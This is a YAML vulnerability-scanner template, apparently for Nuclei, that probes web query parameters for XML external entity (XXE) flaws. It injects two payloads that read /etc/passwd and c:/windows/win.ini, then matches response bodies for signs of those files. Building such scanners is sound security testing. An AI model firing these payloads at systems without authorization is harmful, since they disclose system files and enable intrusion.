54 lines
1.3 KiB
YAML
54 lines
1.3 KiB
YAML
id: generic-xxe
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info:
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name: Generic XML external entity (XXE)
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author: pwnhxl
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severity: medium
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reference:
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- https://github.com/andresriancho/w3af/blob/master/w3af/plugins/audit/xxe.py
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metadata:
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max-request: 2
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tags: dast,xxe
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variables:
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rletter: "{{rand_base(6,'abc')}}"
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http:
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- pre-condition:
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- type: dsl
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dsl:
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- 'method == "GET"'
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payloads:
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xxe:
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- '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:///c:/windows/win.ini"> ]><x>&{{rletter}};</x>'
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- '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:////etc/passwd"> ]><x>&{{rletter}};</x>'
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fuzzing:
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- part: query
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keys-regex:
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- "(.*?)xml(.*?)"
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fuzz:
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- "{{xxe}}"
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- part: query
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values:
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- "(<!DOCTYPE|<?xml|%3C!DOCTYPE|%3C%3Fxml)(.*?)>"
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fuzz:
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- "{{xxe}}"
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stop-at-first-match: true
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matchers-condition: or
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matchers:
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- type: regex
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name: linux
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part: body
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regex:
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- 'root:.*?:[0-9]*:[0-9]*:'
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- type: word
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name: windows
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part: body
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words:
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- 'for 16-bit app support'
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# digest: 490a0046304402200765457e7ce86f2875c9b0446d1e4d4a3f035e95c8cb70d2c685bed047e1883c022000fb0dbfce1acce174129de4808904972d457aae4cc27dd68672d8e5a14d49b1:922c64590222798bb761d5b6d8e72950 |